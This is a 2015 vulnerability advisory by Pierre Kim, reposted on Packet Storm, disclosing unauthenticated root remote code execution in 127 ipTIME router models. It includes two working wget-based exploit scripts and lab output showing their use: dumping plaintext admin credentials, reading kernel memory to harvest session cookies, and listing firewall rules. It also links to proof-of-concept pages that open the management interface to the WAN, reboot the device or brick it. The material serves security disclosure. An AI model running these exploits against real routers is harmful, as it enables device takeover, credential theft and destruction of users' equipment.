ipTIME Remote Code Execution

2015-07-02T00:00:00
ID PACKETSTORM:132545
Type packetstorm
Reporter Pierre Kim
Modified 2015-07-02T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
  
Please find a text-only version below sent to security mailing-lists.  
  
The complete version on exploits about my last advisory of ipTIME  
products is posted here:  
  
https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html  
  
  
=== text-version of the advisory ===  
  
  
Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution  
Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
As stated in the precedent advisories, ipTIME firmwares prior to 9.58  
version are vulnerable to a remote code execution which gives root  
privileges.  
  
- From product_db extracted from a live ipTIME system, it concerns at  
least these devices:  
  
g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526  
ip300 ip409 ip410 ip416 ip418 ip419 ip422 ip449 ip802 ip803 n104  
n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m  
n7004 n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204  
tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g  
  
By analysis updated firmwares, in total 127 devices were affected:  
  
  
a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004  
a3004ns a5004ns a604 a604v extac extd2 g1 g104 g104a g104be g104i  
g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1  
n104i n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s  
n104sr1 n104t n104v n104vlg n1e n1eky n1p n2 n2e n2p n3004 n5 n5004  
n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r  
n604s n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3  
n704bcm n704lg n704m n704mlg n704ns n704s n704v n704v3 n8004 n8004r  
n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v ng104  
ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008  
t16000 t2008 t24000 t3004 t3008 timeve tq204 tv104 v1016 v1024  
v304 v308 v504 wre1 x3003 x3007 x5007 x6003  
  
Here are the working exploits:  
  
Exploit against the firmwares in ALL versions from 2008 to 2015 -  
until 9.50 firmware:  
  
$ cat iptime.carnage.l2  
#!/bin/sh  
if [ ! $1 ]; then  
echo "Usage:"  
echo $0 ip command  
exit 1  
fi  
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;  
PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh  
  
Exploit against firmware v9.52:  
  
$ cat iptime.carnage.l2.v9.52  
#!/bin/sh  
if [ ! $1 ]; then  
echo "Usage:"  
echo $0 ip command  
exit 1  
fi  
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;  
PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh  
  
  
The exploits have been written in HTML/JavaScript, in form of CSRF  
attacks, allowing people to test their systems in live using their  
browsers:  
http://pierrekim.github.io/advisories/  
  
  
Now we test the exploits in my lab!  
  
  
  
o How to retrieve the credentials ? (see login and password at the end  
of the text file)  
  
HTML/JS exploits:  
  
For version pre-9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-dump.configuration.including.credentials.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-dump.configuration.including.credentials.html  
  
Using CLI:  
  
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg  
wantype.wan1=dynamic  
dhblock.eth1=0  
ppp_mtu=1454  
fakedns=0  
upnp=1  
ppp_mtu=1454  
timeserver=time.windows.com,gmt23,1,540,0  
wan_ifname=eth1  
auto_dns=1  
dhcp_auto_detect=0  
wireless_ifmode+wlan0=wlan0,0  
dhcpd=1  
lan_ip=192.168.0.1  
lan_netmask=255.255.255.0  
dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0  
dhcpd_dns=164.124.101.2,168.126.63.2  
dhcpd_opt=7200,30,200,  
dhcpd_configfile=/etc/udhcpd.conf  
dhcpd_lease_file=/etc/udhcpd.leases  
dhcpd_static_lease_file=/etc/udhcpd.static  
http_auth=session  
use_captcha=1  
login=test  
password=test  
org_hwaddr.eth1=90:9F:XX:XX:XX  
nat_passthrough=0  
kali#  
  
Login and password are stored in plaintext, which is a very bad  
security practice.  
  
o Listing of the filesystem  
  
HTML/JS exploits:  
  
For version pre-9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-listing.of.the.root.filesystem.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-listing.of.the.root.filesystem.html  
  
  
o Current running process:  
  
HTML/JS exploits:  
  
For version pre-9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-current.process.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-current.process.html  
  
  
Using CLI:  
  
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww  
PID Uid VmSize Stat Command  
1 root 720 S init single  
2 root SW [keventd]  
3 root RWN [ksoftirqd_CPU0]  
4 root SW [kswapd]  
5 root SW [bdflush]  
6 root SW [kupdated]  
7 root SW [mtdblockd]  
252 root 1176 S /sbin/dhcpd  
270 root 436 S apcpd  
272 root 432 S /sbin/iptables-q  
299 root 372 S /bin/wscd -start -c /var/wsc.conf -w wlan0  
-fi /var/w  
303 root 260 S /bin/iwcontrol wlan0  
463 root 684 S httpd  
496 root 288 S /bin/sh  
498 root 300 R ps -auxww  
kali#  
  
  
o Getting the kernel memory:  
  
HTML/JS exploits:  
  
For version pre-9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-getting.kernel.memory.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-getting.kernel.memory.html  
  
Using CLI:  
  
./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore  
  
The device runs Linux 2.4.18, 12 year old Linux, full of CVEs  
(local AND remote):  
  
<4>Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version  
3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015  
<4>early printk enabled  
<4>Determined physical RAM map:  
<4> memory: 01000000 @ 00000000 (usable)  
<4>On node 0 totalpages: 4096  
<4>zone(0): 4096 pages.  
<4>zone(1): 0 pages.  
<4>zone(2): 0 pages.  
<4>Kernel command line: root=/dev/mtdblock1 console=0 single  
<4>Calibrating delay loop... 399.76 BogoMIPS  
<4>Memory: 9500k/16384k available (2310k kernel code, 6884k  
reserved, 416k data, 60k init, 0k highmem)  
<4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)  
<4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)  
<4>Mount-cache hash table entries: 512 (order: 0, 4096 bytes)  
<4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)  
<4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)  
  
  
o Grabbing the valid HTTP authentication cookies:  
  
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore |  
strings | grep Cookie  
  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=i3HJh4V15YLkf2l2  
Cookie: efm_session_id=i3HJh4V15YLkf2l2  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=i3HJh4V15YLkf2l2  
Cookie: efm_session_id=i3HJh4V15YLkf2l2  
Cookie: efm_session_id=i3HJh4V15YLkf2l2  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
Cookie: efm_session_id=iNYV3r097DPbMDWu  
  
  
o Default firewall rules:  
  
HTML/JS exploits:  
  
For version pre-9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-default.firewall.rules.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-default.firewall.rules.html  
  
Using CLI:  
  
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL  
  
Chain INPUT (policy DROP)  
target prot opt source destination  
DROP 47 -- 0.0.0.0/0 0.0.0.0/0  
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:1723  
radius2g all -- 0.0.0.0/0 0.0.0.0/0  
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:25  
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80  
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0  
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpts:67:68  
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53  
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:80  
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:36500  
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp  
dpts:33434:33600  
ACCEPT icmp -- 192.168.0.1 192.168.0.1 icmp type 8  
  
Chain FORWARD (policy ACCEPT)  
target prot opt source destination  
TCPMSS tcp -- 0.0.0.0/0 0.0.0.0/0 tcp  
flags:0x06/0x02 TCPMSS clamp to PMTU  
app_filter all -- 0.0.0.0/0 0.0.0.0/0  
app_forward all -- 0.0.0.0/0 0.0.0.0/0  
  
Chain OUTPUT (policy ACCEPT)  
target prot opt source destination  
  
Chain app_filter (1 references)  
target prot opt source destination  
  
Chain app_forward (1 references)  
target prot opt source destination  
  
Chain ext_accesslist (0 references)  
target prot opt source destination  
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80  
  
Chain int_accesslist (0 references)  
target prot opt source destination  
RETURN all -- 0.0.0.0/0 192.168.255.250  
RETURN all -- 0.0.0.0/0 192.168.255.1  
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80  
  
Chain plantynet (0 references)  
target prot opt source destination  
plantynet_free all -- 0.0.0.0/0 0.0.0.0/0  
QUEUE tcp -- 0.0.0.0/0 0.0.0.0/0  
multiport dports 80,8080  
  
Chain plantynet_free (1 references)  
target prot opt source destination  
  
Chain radius2g (1 references)  
target prot opt source destination  
  
Chain upnp (0 references)  
target prot opt source destination  
  
  
o Opening the management interface on the WAN:  
  
HTML/JS exploits:  
  
For version pre 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-opening.the.firewall.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-opening.the.firewall.html  
  
  
o Reboot the device:  
  
HTML/JS exploits:  
  
For version pre 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-reboot.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-reboot.html  
  
  
o Brick the device:  
  
HTML/JS exploits:  
  
For version pre 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-bricking.the.device.html  
For version 9.52:  
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-bricking.the.device.html  
  
  
  
By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.  
  
More fun from iptime products is coming ~~~  
  
Follow me on Twitter @PierreKimSec  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1  
  
iQIcBAEBCgAGBQJVlAGbAAoJEMQ+Dtp9ky28TF8QAIWqBhTV1ogNGYkWNCJ7QU4k  
I1zjP4clA3CpfoiMjfCUbEBn7KsKx70+ZVVIU4y4d9l8jJeTAMN3X4YBDTncnky9  
le3QSjdjbxs2cMCwWN7QgnCTDjRocllrGCg5r3TpIWxFRHA3mHMYmUlDqEnJ2n79  
I4ta+ZxixCOfuAeZr2BgmXYfcYpxZwgYVPpe6IaGkrcaRpexW6sJohMCgQ/7ECDa  
HJaSp5wzINdbtp3UfILuEsRBB3jj9LbFOX8IwgJ9JJvk2dT2n+Qutk8zCKKCOYW+  
cuBMcDUq43qUoDZcQYpYTu//l/YJLBGDKSWWSVwMBzsgG5AknKQwtgXAxvFm5yU3  
b2ShJeSLXNaCEXia+owW9zITfchzaxlGrEBrtv9xdv/UgH3JeVnbXQ8gvIL4w/y2  
/2hAcH5Xe0wlRy7ipMvhaZo5NtITearo9bUgJzVtFX3OUtIUH5Zwk4oU+uT2z/n0  
IAyTao20MK1Q/HGPgKiD0xRisfDfTI4wJSbV1FRvNcmtZ715gr84Mu7jIf3oRDpY  
0SECXAodlxlllJJGHYXgx6yIYXKdD+LT14SBcpobtqy0yBmltMsPrBtg0/FsDtVr  
yYz9FmPlkuFgqY7mSCbT31GCWwy4YnGGRXKF4XNKq6cnDZ9iY0Lr7SAz/r0jXzBR  
pcfE2fQqJLiKxeUbzyPM  
=Yd4L  
-----END PGP SIGNATURE-----  
  
--   
Pierre Kim  
pierre.kim.sec@gmail.com  
@PierreKimSec  
https://pierrekim.github.io/  
  
  
`